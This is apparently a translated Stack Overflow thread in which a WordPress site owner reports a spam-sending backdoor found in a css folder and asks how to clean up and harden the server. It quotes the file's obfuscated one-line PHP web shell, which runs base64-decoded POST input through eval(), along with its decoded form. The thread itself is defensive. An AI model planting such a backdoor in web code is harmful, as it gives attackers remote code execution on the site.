php - 在我的网络服务器上发现恶意 PHP 文件,需要帮助清理并防止这种情况再次发生

标签 php wordpress security spam malware

<分区>

我的托管服务提供商最近暂停了我的网站,因为网站上的某些内容正在发送大量垃圾邮件。最初我和供应商认为这是由于我几天前在服务器上放置的电子邮件事件的不安全表格造成的。我从服务器上删除了带有表单的页面,但服务器仍在发送垃圾邮件。

我在服务器根目录的“css”文件夹中发现了一个名为7c32.php的php文件。我绝对没有做到。这是文件中的代码:

<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>

通过在线解码器运行它后,它得出了以下结果:

if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));

我阅读了一些有关恶意 php 文件的资料,发现 eval( 和 base64_decode 字符串非常可疑。我查看了服务器日志文件,看到几个来自沙特阿拉伯 IP 地址的 7c32.php 文件的帖子查询.

我删除了 php 文件,更新了所有过时的 wordpress 主题和插件(以及平台本身,并将 FTP 服务器和 Wordpress 管理帐户的密码更改为更安全的密码。

我还能做些什么来确保我的服务器安全吗?我正要去搜索这些 base64 和 eval( 服务器上所有其他 php 文件中的字符串,但除此之外,我没有想法。

这个 php 脚本似乎太短了,不会造成任何损害,但是还有什么可以发送所有垃圾邮件呢?

如有任何帮助,我们将不胜感激。

最佳答案

eval() 是一种非常危险的小语言结构,因为它几乎可以执行作为字符串传递给它的任何 PHP 代码片段,因此肯定可能是那个脚本发送了邮件,尽管就 eval() 可以 做的事情而言,发送垃圾邮件实际上是相当无损的。

如果您的页面有权删除 Web 根目录中的每个文件,eval() 也可以执行此操作,只需有人通过 POST 向脚本发送正确的命令即可。

如果您真的想确保发送邮件的是那段代码,请将其放回原处,但对其进行修改以使其对您有利。停止使用 eval() 并将 POST 数据保存到数据库或文本文件中。这是您确切了解此代码用途的唯一方法。

关于php - 在我的网络服务器上发现恶意 PHP 文件,需要帮助清理并防止这种情况再次发生,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16910296/

相关文章:

wordpress - WordPress 中类别的永久链接设置

php - 避免在 WooCommerce 结账时进行计费电话验证

jquery - Web API 安全 - 当您必须通过 http 发送学生证时如何保护学生证

ruby - 在tomcat6上运行jruby的安全问题

Php、MySql 连接表,限制每个类别的记录

javascript - 使用 HTML 按钮执行 PHP 和 SQL

php - Vue.js 没有正确更新 URL

ios - 在 Varnish 中检测设备并且没有缓存

java - 让 csrf token 在用户 session 中 15 分钟后过期还是直接删除?

php - Laravel 5 如何包含 autoload.php